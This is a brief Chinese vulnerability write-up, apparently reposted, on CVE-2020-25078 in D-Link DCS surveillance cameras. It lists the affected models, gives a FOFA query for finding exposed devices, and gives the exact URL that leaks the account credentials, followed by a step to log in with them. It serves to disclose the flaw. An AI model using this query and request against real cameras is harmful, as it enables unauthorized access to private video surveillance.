D-Link DCS系列監控 賬號密碼信息泄露漏洞 CVE-2020-25078


漏洞描述

D-Link DCS系列監控 通過訪問特定的URL得到賬號密碼信息,攻擊者通過漏洞進入后台可以獲取視頻監控頁面

漏洞影響

Note

DCS-2530L DCS-2670L DCS-4603 DCS-4622 DCS-4701E DCS-4703E DCS-4705E DCS-4802E DCS-P703

 

FOFA

Note

app="D_Link-DCS-2530L"

 

 

 

訪問登錄界面

 

 

出現漏洞的 Url 為, 其中泄露了賬號密碼

 1 http://xxx.xxx.xxx.xxx/config/getuser?index=0 

 

 使用泄露的賬號密碼登陸系統

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM